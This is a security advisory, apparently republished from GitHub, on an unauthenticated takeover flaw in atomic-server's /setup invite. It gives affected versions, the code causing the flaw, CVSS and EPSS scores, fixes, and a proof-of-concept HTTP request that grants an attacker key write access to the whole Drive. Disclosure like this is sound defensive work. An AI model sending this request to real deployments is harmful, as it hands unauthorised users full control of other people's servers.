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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 0.29.0, <= 0.40.1
Details
atomic-server provisions a well-known invite at {server}/setup with write = true, target = the Drive root, and usagesLeft = 1. Invite redemption ignores the redeemer's identity (for_agent: _ in server/src/plugins/invite.rs:22), so possession of the URL is the only requirement. An unauthenticated attacker who sends GET /setup?public-key=<attacker_key> has the server create a new Agent and grant it write access to the entire Drive. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.
Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8). No authentication required; grants attacker-controlled write over all resources in the Drive.
server/src/appstate.rs — creates the /setup invite targeting the Drive root with write=true, usagesLeft=1.server/src/plugins/invite.rs:14-173 — construct_invite_redirect destructures for_agent: _ (redeemer identity discarded); ?public-key= → Agent::new_from_public_key → add_rights(agent, target, write=true).Environment: joepmeneer/atomic-server:develop in Docker, http://localhost:9883, fresh store. No auth headers are used.
Confirm the invite is live — GET /setup (Accept: application/ad+json) shows invite/write = true, invite/target = http://localhost:9883 (Drive root), usagesLeft = 1.
Redeem it anonymously with an attacker-generated ed25519 public key:
GET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1
Host: localhost:9883
Accept: application/ad+json
Response 200 OK returns a Redirect confirming the new agent:
{
"https://atomicdata.dev/properties/invite/redirectAgent":
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=",
"https://atomicdata.dev/properties/isA": ["https://atomicdata.dev/classes/Redirect"]
}
GET / shows the attacker is now in the Drive's write array:"https://atomicdata.dev/properties/write": [
"http://localhost:9883/agents/+/KwsAmyzc7S/...", // legit root
"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=" // ATTACKER
]
POST /commit (200) — the Drive root was successfully edited. Write access proven.Expected: /setup must require operator authentication / a one-time secret.
Actual: Any unauthenticated client on the network redeems it and gains Drive-wide write.
Unauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)
/setup./setup after first use with an atomic usagesLeft decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.invite.rs (if expires > now { reject } is backwards, so expired invites remain redeemable and valid ones are rejected).EPSS, exploit probability
Low0.51%
estimated chance of real-world exploitation in the next 30 days, higher than 44.3% of every CVE FIRST.org scores
Refreshed 11/18/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
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